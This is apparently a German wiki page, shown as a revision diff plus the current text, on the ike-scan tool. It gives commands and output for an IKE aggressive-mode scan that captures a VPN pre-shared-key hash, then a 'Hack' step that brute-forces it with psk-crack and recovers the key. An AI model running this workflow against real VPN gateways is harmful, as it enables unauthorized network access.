Ike-scan: Unterschied zwischen den Versionen

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Zeile 1: Zeile 1:
 
=Install=
 
=Install=
 
*apt-get install ike-scan
 
*apt-get install ike-scan
=erfolgreicher Scan=
+
=Scan=
 
*ike-scan -A 10.84.252.32 -Pike.key
 
*ike-scan -A 10.84.252.32 -Pike.key
 
<pre>
 
<pre>
Zeile 9: Zeile 9:
 
Ending ike-scan 1.9.4: 1 hosts scanned in 0.046 seconds (21.84 hosts/sec).  1 returned handshake; 0 returned notify
 
Ending ike-scan 1.9.4: 1 hosts scanned in 0.046 seconds (21.84 hosts/sec).  1 returned handshake; 0 returned notify
 
</pre>
 
</pre>
 +
=Hack=
 
*psk-crack -b 5 ike.key  
 
*psk-crack -b 5 ike.key  
 
<pre>
 
<pre>
Zeile 16: Zeile 17:
 
key "tina" matches SHA1 hash 2b71fba7f075ba64027852360147ea220c7b9942
 
key "tina" matches SHA1 hash 2b71fba7f075ba64027852360147ea220c7b9942
 
Ending psk-crack: 497046 iterations in 0.992 seconds (501032.72 iterations/sec)
 
Ending psk-crack: 497046 iterations in 0.992 seconds (501032.72 iterations/sec)
</pre>
 
 
=erfolgloser Scan=
 
*ike-scan -M thor.tuxmen.de
 
<pre>
 
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
 
 
Ending ike-scan 1.9: 1 hosts scanned in 2.475 seconds (0.40 hosts/sec).  0 returned handshake; 0 returned notify
 
 
</pre>
 
</pre>
  
 
=Guide=
 
=Guide=
 
*http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide
 
*http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide

Version vom 9. November 2017, 10:02 Uhr

Install

  • apt-get install ike-scan

Scan

  • ike-scan -A 10.84.252.32 -Pike.key
Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.84.252.32	Aggressive Mode Handshake returned HDR=(CKY-R=653dfd98f52029b0) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_IPV4_ADDR, Value=10.84.252.32) Hash(20 bytes) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.046 seconds (21.84 hosts/sec).  1 returned handshake; 0 returned notify

Hack

  • psk-crack -b 5 ike.key
Starting psk-crack [ike-scan 1.9.4] (http://www.nta-monitor.com/tools/ike-scan/)
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations
key "tina" matches SHA1 hash 2b71fba7f075ba64027852360147ea220c7b9942
Ending psk-crack: 497046 iterations in 0.992 seconds (501032.72 iterations/sec)

Guide